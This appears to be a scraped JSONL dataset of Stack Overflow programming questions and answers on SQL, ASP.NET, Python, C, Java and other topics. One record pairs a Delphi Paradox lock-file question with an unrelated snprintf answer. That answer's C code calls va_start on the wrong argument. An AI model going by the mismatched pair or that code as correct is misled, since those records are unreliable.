{"id": "hf_88c4377c2415", "question": "<p>In SQL Server 2000/2005,</p>\n\n<p>Is it possible to force the default value to be written to already existing rows when adding a new column to a table <strong>without</strong> using NOT NULL on the new column?</p>\n", "question_body": "", "answer": "I doubt it.\nhttp://msdn.microsoft.com/en-us/library/ms190273(SQL.90).aspx\nThe approach recommended by Microsoft is as follows (taken from the url above)\n```\n```\nUPDATE MyTable SET NullCol = N'some_value' WHERE NullCol IS NULL\nALTER TABLE MyTable ALTER COLUMN NullCOl NVARCHAR(20) NOT NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.470353"}
{"id": "hf_4007d8c4f47a", "question": "<p>I'm using a ASP.NET menu control. I'd like the menu to look like this, where link 1 through 10 are in one sitemap file and link 11 through 20 in another. </p>\n\n<pre><code>root\n--link 1\n(...)\n--link 10\n--link 11\n(...)\n--link 20\n</code></pre>\n\n<p>However, sitemap file MUST have a root  which I cannot seem to suppress.</p>\n\n<p>Any thoughts?</p>\n\n<p>-Edoode</p>\n", "question_body": "", "answer": "Is there any reason that you can't add a dummy root node and then subclass the ASP.NET menu control to ignore your dummy \"root\" node?\nYou should be able to tell your SiteMapProvider to use different site maps for the menu.\nThe other question I have is what's the purpose of having multiple sitemap files?  I'm sure you have a valid reason for this, but knowing what's going on would make it easier to understand and come up with a better solution.\nThat being said, I would come up with a homegrown menu system.  You could use jQuery and the superfish plugin on the front end and use C# to read your site map files on the back end to build the menuing structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.506938"}
{"id": "hf_34d33f6522e6", "question": "<p>I would like to know what's the best technique to do single sign-on in web sites. It means that if you enter in more than one website, you will be authenticated in a \"transparent\" way. I'm using php + curl to set the cookies for the different sites, but i really would like to know if does exist a standard way to do it.</p>\n", "question_body": "", "answer": "The best way is to use Image tags which pull an image stream from your external sites.\nSo if you're at www.some-site.com and you want to also be signed into www.some-partner-site.com you have this displayed after logging in:\nBecause you're using an Image it forces the browser to \"pull in\" the contents of that URL.\nI've recently built a solution which does it with ASP.NET but we also have a php-based partner site.\nWhat image displayed is irrelivant, really you should not display any image at all (hence the 1x1 size)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.566138"}
{"id": "hf_065c34003301", "question": "<p>Say I have a table called myTable.  What is the SQL command to return all of the field names of this table?  If the answer is database specific then I need SQL Server right now but would be interested in seeing the solution for other database systems as well.</p>\n", "question_body": "", "answer": "MySQL 3 and 4 (and 5):\n```\n```\ndesc tablename\n```\n```\nwhich is an alias for\n```\n```\nshow fields from tablename\n```\n```\nSQL Server (from 2000) and MySQL 5:\n```\n```\nselect COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS \nwhere TABLE_NAME = 'tablename'\n```\n```\nCompleting the answer: like people below have said, in SQL Server you can also use the stored procedure\n```\nsp_help\n```\n```\n```\nexec sp_help 'tablename'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.613326"}
{"id": "hf_6a66a4578262", "question": "<p>Is it possible to do like this:</p>\n\n<pre><code>interface IDBBase {\n     DataTable getDataTableSql(DataTable curTable,IDbCommand cmd);\n     ...\n}\n\nclass DBBase : IDBBase {\n     public DataTable getDataTableSql(DataTable curTable, SqlCommand cmd) {\n         ...\n     }\n}\n</code></pre>\n\n<p>I want to use the interface to implement to d/t providers (MS-SQL,Oracle...); in it there are some signatures to be implemented in the corresponding classes that implement it. I also tried like this:</p>\n\n<pre><code>genClass&lt;typeOj&gt;\n{\n    typeOj instOj;\n\n    public  genClass(typeOj o)\n    {      instOj=o;    }\n\n\n    public typeOj getType()\n    {        return instOj;    }\n</code></pre>\n\n<p>...</p>\n\n<pre><code>interface IDBBase \n{\n    DataTable getDataTableSql(DataTable curTable,genClass&lt;idcommand&gt; cmd);\n    ...\n}\n\nclass DBBase : IDBBase \n{\n    public DataTable getDataTableSql(DataTable curTable, genClass&lt;SqlCommand&gt; cmd)\n    {\n        ...\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "No it's not possible. Method should have same signature that one declared in the interface.\nHowever you can use type parameter constraints:\n```\n```\ninterface IDBClass<T> where T:IDbCommand\n{\n    void Test(T cmd);\n}\n\nclass DBClass:IDBClass<SqlCommand>\n{\n    public void Test(SqlCommand cmd)\n    {\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.652184"}
{"id": "hf_e58eae5525a8", "question": "<p>I realize you can script Microsoft Office apps, but I'm looking for something more general that I can apply to other apps, such as Adobe Acrobat, web browsers and other apps with no scripting ability.</p>\n\n<p>I've used <a href=\"http://www.autoitscript.com/autoit3/\" rel=\"nofollow noreferrer\">AutoIt</a> but it's a bit clunky, especially when trying to debug why a script fails or stalls. Also, getting the timing of actions, such as clicking a button, or selecting a menu item correctly can be a pain.</p>\n\n<p>Are there build tools that could be used for this purpose?</p>\n", "question_body": "", "answer": "I recommend\nAutoHotKey\n. Its syntax is not pretty, but most of the times you don't have to concoct your own scripts, because its community is so large and well organized. Even if you do, the documentation is extensive and good and the forums will answer your questions quickly. The developer is active and responsive, which means that bugs get fixed quickly, and new features are being considered and added.\nSince I began using AHK I don't imagine doing without it - it allows to make life on Windows simpler in so many ways.\nYou can also employ the COM interface from Python and other scripting languages. It is more complex, but you get to use a more powerful language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.699413"}
{"id": "hf_c85f6fe56237", "question": "<p>How to wait for multiple child processes in Python on Windows, without active wait (polling)? Something like this <em>almost</em> works for me:</p>\n\n<pre><code>proc1 = subprocess.Popen(['python','mytest.py'])\nproc2 = subprocess.Popen(['python','mytest.py'])    \nproc1.wait()\nprint \"1 finished\"\nproc2.wait()\nprint \"2 finished\"\n</code></pre>\n\n<p>The problem is that when <code>proc2</code> finishes before <code>proc1</code>, the parent process will still wait for <code>proc1</code>. On Unix one would use <code>waitpid(0)</code> in a loop to get the child processes' return codes as they finish - how to achieve something like this in Python on Windows?</p>\n", "question_body": "", "answer": "It might seem overkill, but, here it goes:\n```\n```\nimport Queue, thread, subprocess\n\nresults= Queue.Queue()\ndef process_waiter(popen, description, que):\n    try: popen.wait()\n    finally: que.put( (description, popen.returncode) )\nprocess_count= 0\n\nproc1= subprocess.Popen( ['python', 'mytest.py'] )\nthread.start_new_thread(process_waiter,\n    (proc1, \"1 finished\", results))\nprocess_count+= 1\n\nproc2= subprocess.Popen( ['python', 'mytest.py'] )\nthread.start_new_thread(process_waiter,\n    (proc2, \"2 finished\", results))\nprocess_count+= 1\n\n# etc\n\nwhile process_count > 0:\n    description, rc= results.get()\n    print \"job\", description, \"ended with rc =\", rc\n    process_count-= 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.758838"}
{"id": "hf_ccfe216d8790", "question": "<p>Are there any tools available for calculating Cyclomatic Complexity in Javascript? </p>\n\n<p>I've found it a very helpful metric in the past while working on server side code, and would like to be able to use it for the client side Javascript I write.</p>\n", "question_body": "", "answer": "Since cyclomatic complexity is evaluated counting the number of keyword\n\"if, switch, while for break\" etc.. every tools that works with C will do the job, like\nsourcemonitor:\nhttp://www.campwoodsw.com/sourcemonitor.html\nActually, on javascript the more you try to modulize your code, the more you will slow it down, so take it with a grain of salt ;)\nEDIT:\nI\nReally\ncan't understand what's going on on this answer, I get another downvote, when in my answer I tell a good tool for calculating cyclomatic complexity in javascript,\nand this in particular works very well.\nFor the second assertion, mine is a comment that comes from experience, I never tell\ndon't modulize your js code\n, I only tell to\nmake attention in doing it\n, because often there is a tradeoff with speed, and when I talk of speed I mean that 2 different slowdown can happen: at\ndownload time\nand at\nexecution time\n(and in slow device like pda/smartphone this is important).\nSince tools like this often drive developer into writing more code trying to chase the smaller index possible,\nbut in js more code unfortunately means that slowdowns can happen, and the\noveruse\nof these tools is bad.\nSurelly these tools can give you hints of\nwhere\nyour code can be improved, but you've to master how to use the tool and not blindy rely on it.\nSo if you downvote me again, please write a comment in which you explain why you do so, the discussion can only benefit from this, thank you and sorry for the vent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.806260"}
{"id": "hf_ef9f7d2b529d", "question": "<p>Are there any tools available for calculating the <strong>average number of lines of code per method</strong>?</p>\n\n<p>I want to know the average size of each method, not just the total number of lines in the project. The per method count will allow me to measure how simple each method is.</p>\n\n<p>This will be calculated as part of the build process, and displayed on a dashboard. The idea being that we can see if the average size of each method is increasing. And this will flag the possibility that code complexity is increasing and we may need to think about refactoring.</p>\n", "question_body": "", "answer": "I am not sure if it does that, but searching, after your previous post, what is cyclomatic complexity, I went to the related Wikipedia page which pointed to\nCode Analyzer\n.\nThere they say:\nWhen counting for HTML or JSP files, it will count LoC correctly for\n  javascript and vbscript code embedded within the <script> tag.\nI don't know if this count is dispatched per method, but it might be worth taking a look (it is a free tool).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.841682"}
{"id": "hf_611eccef8f5d", "question": "<p>I have a problem that confuses my users, being that although an item is highlighted (by the hover style) when the user mouses over it, they have to mouse over the actual item text, sometimes quite small compared to the item.  Is there a way to make the whole item clickable?</p>\n", "question_body": "", "answer": "Add some padding to the A element? Or if it's in a menu contained within a block-level element, make the A display as block too:\n```\n```\na {\n  display: block;\n  width: 100%;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.876994"}
{"id": "hf_a08c0a80178e", "question": "<p>I'm wondering, how expensive it is to have many threads in waiting state in java 1.6 x64.</p>\n\n<p>To be more specific, I'm writing application which runs across many computers and sends/receives data from one to another. I feel more comfortable to have separate thread for each connected machine and task, like 1) sending data, 2) receiving data, 3) reestablishing connection when it is dropped. So, given that there are N nodes in cluster, each machine is going to have 3 threads for each of N-1 neighbours. Typically there will be 12 machines, which comes to 33 communication threads.</p>\n\n<p>Most of those threads will be sleeping most of the time, so for optimization purposes I could reduce number of threads and give more job to each of them. Like, for example. reestablishing connection is responsibility of receiving thread. Or sending to all connected machines is done by single thread.</p>\n\n<p>So is there any significant perfomance impact on having many sleeping threads?</p>\n", "question_body": "", "answer": "For most cases, the resources consumed by a sleeping thread will be its stack space. Using a 2-threads-per-connection-model, which I think is similar to what you're describing, is known to cause great scalability issues for this very reason when the number of connections grow large.\nI've been in this situation myself, and when the number of connections grew above 500 connections (about a thousand threads), you tend to get into lots of cases where you get OutOfMemoryError, since the threads stack space usage exceeds the maximum amount of memory for a single process. At least in our case, which was in a Java on 32 bit Windows world. You can tune things and get a bit further, I guess, but in the end it's just not very scalable since you waste lots of memory.\nIf you need a large number of connections, Java NIO (new IO or whatever) is the way to go, making it possible to handle lots of connections in the same thread.\nHaving said that, you shouldn't encounter much of a problem with under a 100 threads on a reasonably modern server, even if it's probably still a waste of resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.923508"}
{"id": "hf_7f16d3111989", "question": "<p>I've seen several examples of code like this:</p>\n\n<pre><code>if not someobj:\n    #do something\n</code></pre>\n\n<p>But I'm wondering why not doing:</p>\n\n<pre><code>if someobj == None:\n    #do something\n</code></pre>\n\n<p>Is there any difference? Does one have an advantage over the other?</p>\n", "question_body": "", "answer": "In the first test, Python try to convert the object to a\n```\nbool\n```\nvalue if it is not already one. Roughly,\nwe are asking the object : are you meaningful or not ?\nThis is done using the following algorithm :\nIf the object has a\n```\n__nonzero__\n```\nspecial method (as do numeric built-ins,\n```\nint\n```\nand\n```\nfloat\n```\n), it calls this method. It must either return a\n```\nbool\n```\nvalue which is then directly used, or an\n```\nint\n```\nvalue that is considered\n```\nFalse\n```\nif equal to zero.\nOtherwise, if the object has a\n```\n__len__\n```\nspecial method (as do container built-ins,\n```\nlist\n```\n,\n```\ndict\n```\n,\n```\nset\n```\n,\n```\ntuple\n```\n, ...), it calls this method, considering a container\n```\nFalse\n```\nif it is empty (length is zero).\nOtherwise, the object is considered\n```\nTrue\n```\nunless it is\n```\nNone\n```\nin which case, it is considered\n```\nFalse\n```\n.\nIn the second test, the object is compared for equality to\n```\nNone\n```\n. Here,\nwe are asking the object, \"Are you equal to this other value?\"\nThis is done using the following algorithm :\nIf the object has a\n```\n__eq__\n```\nmethod, it is called, and the return value is then converted to a\n```\nbool\n```\nvalue and used to determine the outcome of the\n```\nif\n```\n.\nOtherwise, if the object has a\n```\n__cmp__\n```\nmethod, it is called. This function must return an\n```\nint\n```\nindicating the order of the two object (\n```\n-1\n```\nif\n```\nself < other\n```\n,\n```\n0\n```\nif\n```\nself == other\n```\n,\n```\n+1\n```\nif\n```\nself > other\n```\n).\nOtherwise, the object are compared for identity (ie. they are reference to the same object, as can be tested by the\n```\nis\n```\noperator).\nThere is another test possible using the\n```\nis\n```\noperator.\nWe would be asking the object, \"Are you this particular object?\"\nGenerally, I would recommend to use the first test with non-numerical values, to use the test for equality when you want to compare objects of the same nature (two strings, two numbers, ...) and to check for identity only when using sentinel values (\n```\nNone\n```\nmeaning not initialized for a member field for exemple, or when using the\n```\ngetattr\n```\nor the\n```\n__getitem__\n```\nmethods).\nTo summarize, we have :\n```\n```\n>>> class A(object):\n...    def __repr__(self):\n...        return 'A()'\n...    def __nonzero__(self):\n...        return False\n\n>>> class B(object):\n...    def __repr__(self):\n...        return 'B()'\n...    def __len__(self):\n...        return 0\n\n>>> class C(object):\n...    def __repr__(self):\n...        return 'C()'\n...    def __cmp__(self, other):\n...        return 0\n\n>>> class D(object):\n...    def __repr__(self):\n...        return 'D()'\n...    def __eq__(self, other):\n...        return True\n\n>>> for obj in ['', (), [], {}, 0, 0., A(), B(), C(), D(), None]:\n...     print '%4s: bool(obj) -> %5s, obj == None -> %5s, obj is None -> %5s' % \\\n...         (repr(obj), bool(obj), obj == None, obj is None)\n  '': bool(obj) -> False, obj == None -> False, obj is None -> False\n  (): bool(obj) -> False, obj == None -> False, obj is None -> False\n  []: bool(obj) -> False, obj == None -> False, obj is None -> False\n  {}: bool(obj) -> False, obj == None -> False, obj is None -> False\n   0: bool(obj) -> False, obj == None -> False, obj is None -> False\n 0.0: bool(obj) -> False, obj == None -> False, obj is None -> False\n A(): bool(obj) -> False, obj == None -> False, obj is None -> False\n B(): bool(obj) -> False, obj == None -> False, obj is None -> False\n C(): bool(obj) ->  True, obj == None ->  True, obj is None -> False\n D(): bool(obj) ->  True, obj == None ->  True, obj is None -> False\nNone: bool(obj) -> False, obj == None ->  True, obj is None ->  True\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:19.972913"}
{"id": "hf_3e2d0edc891d", "question": "<p>I'm looking for a good way to represent organic growth - especially trees and flowers - using code.</p>\n\n<p>I've found Lindenmayer Systems as a reasonable way to portray this, but need a good place to start programming this.</p>\n\n<p>Any good suggestions?</p>\n", "question_body": "", "answer": "I am not sure how much you already know on the topic, but I believe Wikipedia's article on\nL-system\nshould be a good start.\n\"using code\" is a bit fuzzy, so I can hardly answer. You might find some freeware to experiment with L-systems, you can play with some graphical language like Processing, do that in GDI or Java2D (or 3D), etc.\nThere are other methods too, my own\nFerns - Static view\nwas made with Processing, drawing short lines, using a hierarchical class system to represent trunk, branches and leaves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.001086"}
{"id": "hf_cf2b979efc57", "question": "<p>Hi were can I find training videos for MySQL ?  </p>\n", "question_body": "", "answer": "In youtube you find somethings like \nmysql install:\nhttp://www.youtube.com/watch?v=KQcFP3GcQ0s\nmysql trainning:\nhttp://www.youtube.com/watch?v=BHq-bORKncA\nGoogle presentation about mysql tunning (hot)\nhttp://www.youtube.com/watch?v=u70mkgDnDdU\nYou have anothers google presentations about mysql, just search in youtube and googlevideos :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.049994"}
{"id": "hf_d117c015ca73", "question": "<p>While editing an aspx file I found both these opening tags used for seemingly the same thing. Is there a difference and if yes, what is it?</p>\n", "question_body": "", "answer": "The difference is that the # symbol specifies a data binding directive, that is resolved at data binding time (for example, when you call Page.DataBind ) and the = sign specifies an evaluation expression just evaluates and prints to the HTML output when that line is processed.\nEdit: Just adding that only inside <%# %> you have acces to databinding functions like Eval.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.177226"}
{"id": "hf_b5df5c4699ac", "question": "<p>I have C++ project (VS2005) which includes header file with version number in #define directive. Now I need to include exactly the same number in twin C# project. What is the best way to do it?</p>\n\n<p>I'm thinking about including this file as a resource, then parse it at a runtime with regex to recover version number, but maybe there's a better way, what do you think?</p>\n\n<p>I cannot move version outside .h file, also build system depends on it and the C# project is one which should be adapted.</p>\n", "question_body": "", "answer": "MSDN tells us:\nThe #define directive cannot be used\n  to declare constant values as is\n  typically done in C and C++. Constants\n  in C# are best defined as static\n  members of a class or struct. If you\n  have several such constants, consider\n  creating a separate \"Constants\" class\n  to hold them.\nYou can create library using managed C++ that includes class - wrapper around your constants. Then you can reference this class from C# project. Just don't forget to use\nreadonly < type >\ninstead of\nconst < type >\nfor your constants declaration :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.198387"}
{"id": "hf_2246b1a9f8ad", "question": "<p>As most of you would know, if I drop a file named app_offline.htm in the root of an asp.net application, it takes the application offline <a href=\"http://asp-net-whidbey.blogspot.com/2006/04/aspnet-20-features-appofflinehtm.html\" rel=\"nofollow noreferrer\">as detailed here</a>.</p>\n\n<p>You would also know, that while this is great, IIS actually returns a 404 code when this is in process and Microsoft is not going to do anything about it <a href=\"https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=319986\" rel=\"nofollow noreferrer\">as mentioned here</a>.</p>\n\n<p>Now, since Asp.Net in general is so extensible, I am thinking that shouldn't there be a way to over ride this status code to return a 503 instead? The problem is, I don't know where to start looking to make this change.</p>\n\n<p>HELP!</p>\n", "question_body": "", "answer": "You can try turning it off in the web.config.\n```\n```\n<httpRuntime enable = \"False\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.218732"}
{"id": "hf_5ffdd10f66b0", "question": "<p>What's the best / simplest / most accurate way to detect the browser of a user?</p>\n\n<p>Ease of extendability and implementation is a plus.</p>\n\n<p>The less technologies used, the better.</p>\n\n<p>The solution can be server side, client side, or both. The results should eventually end up at the server, though.</p>\n\n<p>The solution can be framework agnostic.</p>\n\n<p>The solution will only be used for reporting purposes.</p>\n", "question_body": "", "answer": "The\nJQuery Browser Plugin\nwill do it client-side for you.\nWhat is the jQuery Browser Plugin?\nThe jQuery Browser Plugin is an addon for jQuery that makes it easy to uniquely identify your visitors' browsers.\nWhat does it do?\nIt gives you an object in javascript that contains all of the information about the browser being used. It also adds CSS browser selectors, which means you can style elements or write functions for specific browsers, browser versions, layouts, layout versions, and even operating systems. Image of the jQuery Browser Plugin in action.\nThe plug-in makes\n```\n$.browser\n```\navailable, which you can re-submit to your server via an AJAX call, if you really need it server-side.\n```\n```\nalert($.browser.name);  // Alerts Firefox for me\n```\n```\nThe plug-in will only be as effective as the browsers it's been tested against, however. The plugin listed above has a list of\nbrowsers recognised in it's tests\n, but there's always the risk that a new browser will come sneaking out (\nGoogle Chrome..\n) that will require a re-write of the recognition rules. That said, this plug-in seems to be regularly updated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.245006"}
{"id": "hf_ec1700511f29", "question": "<p>Per man pages, snprintf is returning number of bytes written from glibc version 2.2 onwards. But on lower versions of libc2.2 and HP-UX, it returns a positive integer, which could lead to a buffer overflow.</p>\n\n<p>How can one overcome this and write portable code?</p>\n\n<p>Edit : For want of more clarity</p>\n\n<p>This code is working perfectly in lib 2.3</p>\n\n<pre><code>    if ( snprintf( cmd, cmdLen + 1, \". %s%s\", myVar1, myVar2 )  != cmdLen )\n    {\n        fprintf( stderr, \"\\nError: Unable to  copy bmake command!!!\");\n        returnCode = ERR_COPY_FILENAME_FAILED;\n    }\n</code></pre>\n\n<p>It returns the length of the string (10) on Linux. But the same code is returning a positive number that is greater than the number of characters printed on HP-UX machine. Hope this explanation is fine.</p>\n", "question_body": "", "answer": "I have found one portable way to predict and/or limit the number of characters returned by sprintf and related functions, but it's inefficient and many consider it inelegant.\nWhat you do is create a temporary file with tmpfile(), fprintf() to that (which reliably returns the number of bytes written), then rewind and read all or part of the text into a buffer.\nExample:\n```\n```\nint my_snprintf(char *buf, size_t n, const char *fmt, ...)\n{\n    va_list va;\n    int nchars;\n    FILE *tf = tmpfile();\n\n    va_start(va, n);\n    nchars = vfprintf(tf, fmt, va);\n    if (nchars >= (int) n)\n        nchars = (int) n - 1;\n    va_end(va);\n    memset(buf, 0, 1 + (size_t) nchars);\n\n    if (nchars > 0)\n    {\n        rewind(tf);\n        fread(buf, 1, (size_t) nchars, tf);\n    }\n\n    fclose(tf);\n\n    return nchars;   \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.267301"}
{"id": "hf_cbf7547174da", "question": "<p>I'm trying to read data from a Delphi DBIV database, every time I access the database it creates a Paradox.lck and a Pdoxusrs.lck file.  I'm using only a TQuery Object to do this (nothing else). can I access a  Delphi DBIV database without it creating these lock files?</p>\n", "question_body": "", "answer": "I have found one portable way to predict and/or limit the number of characters returned by sprintf and related functions, but it's inefficient and many consider it inelegant.\nWhat you do is create a temporary file with tmpfile(), fprintf() to that (which reliably returns the number of bytes written), then rewind and read all or part of the text into a buffer.\nExample:\n```\n```\nint my_snprintf(char *buf, size_t n, const char *fmt, ...)\n{\n    va_list va;\n    int nchars;\n    FILE *tf = tmpfile();\n\n    va_start(va, n);\n    nchars = vfprintf(tf, fmt, va);\n    if (nchars >= (int) n)\n        nchars = (int) n - 1;\n    va_end(va);\n    memset(buf, 0, 1 + (size_t) nchars);\n\n    if (nchars > 0)\n    {\n        rewind(tf);\n        fread(buf, 1, (size_t) nchars, tf);\n    }\n\n    fclose(tf);\n\n    return nchars;   \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.290780"}
{"id": "hf_daa1ef339e97", "question": "<p>Can someone explain to me the advantages of using an IOC container over simply hardcoding the default implementation into a default constructor?</p>\n\n<p>In other words, what is wrong about this code?</p>\n\n<pre><code>public class MyClass\n{\n    private IMyInterface _myInterface;\n\n    public MyClass()\n    {\n        _myInterface = new DefaultMyInterface();\n    }\n\n    public MyClass(IMyInterface myInterface)\n    {\n        _myInterface = myInterface;\n    }\n}\n</code></pre>\n\n<p>As far as I can tell, this class supports constructor injection enough so unit testing and mocking is easily done.  In addition to which, the default constructor removes the computational overhead of the IOC container (not to mention the whole process is a lot more transparent).</p>\n\n<p>The only benefits i can see to using an IOC container is if you need to switch out the implementation of your interfaces frequently.  Am I missing something?</p>\n", "question_body": "", "answer": "The idea of IoC is to delegate part of your component's functionality to another part of the system. In IoC world, you have components that don't know about each other. Your example violates this, as you're creating tight coupling between MyClass and some implementation of IMyInterface.\nThe main idea\nis that your component\nhas no knowledge\nabout how it will be used. In your example, your component\nmakes some assumptions\nabout its use.\nActually this approach can work, but mixing IoC and explicit object initialization is not a good practice IMO.\nIoC gives you loose coupling by performing late binding for the price of code clarity. When you add additional behavior to this process, it makes things even more complicated and can lead to bugs when some components can potentially receive object with unwanted or unpredicted behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.324607"}
{"id": "hf_181da50334f7", "question": "<p>I installed MySQL via <a href=\"http://en.wikipedia.org/wiki/MacPorts\" rel=\"noreferrer\">MacPorts</a>. What is the command I need to stop the server (I need to test how my application behave when MySQL is dead)?</p>\n", "question_body": "", "answer": "Apparently you want:\n```\n```\nsudo /Library/StartupItems/MySQLCOM/MySQLCOM stop\n```\n```\nHave a further read in\nJeez People, Stop Fretting Over Installing RMagic\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.348317"}
{"id": "hf_363a5cf38abb", "question": "<p>We have a graphics intensive application that seems to be experiencing problems on AMD 64 bit Dual Core platforms that are not apparent on Intel platforms.</p>\n\n<p>Running the application causes the CPU to run at 100%, in particular when using code for shadows and lighting (Open GL).</p>\n\n<p>Does anyone know of specific issues with AMD processors that could cause this or know where to track down the problem, and/or ways to optimize the code base to avoid these issues?</p>\n\n<p><em>note, the application generally works well on mid range hardware, my dev machine has an nvidia gtx260 card in, so lack of power should not be an issue</em></p>\n", "question_body": "", "answer": "I would invest in profiling software to trace down the actual cause of the problem.\nOn linux, Valgrind ( which contains Cachegrind &  Callgrind ) + KCacheGrind can make working out where all the heavy function calls are going on.\nAlso, compile with full debug symbols and it can even show the assembley code at the slow function calls.\nIf you're using an Intel Specific compiler, this may be part of your problem ( not definate tho ), and try the GCC family.\nAlso, you may want to dive into OpenMP and Threads if you haven't already.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.384007"}
{"id": "hf_7883bf6b1be8", "question": "<p>I'm new to both Web Services and RMI and I wonder which is the better way to do remoting between different web applications, when these applications are all written in Java, that is when different programming languages don't matter (which would be the advantage of WS).</p>\n\n<p>While on the one hand I would guess that there's a performance overhead when using web services (does anyone have some numbers to prove that?), on the other hand it seems to me that web services are much more loosely coupled and can be used to implement a more service-oriented architecture (SOA) (which isn't possible with RMI, right?).</p>\n\n<p>Although this is quite a general question, what's your opinion?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "My experience with RMI and Web Services mirrors your guesses above.  In general, RMI's performance exceeds web services, if the communication requirement is for complex objects. The JEE interface specification needs to be explicitly specified for Web Services.\nNote that Web Services are interoperable whereas RMI is not (in terms of the technologies of Client and Server).  I tend to use Web Services when I had one or more external partners who were implementing the interface, but 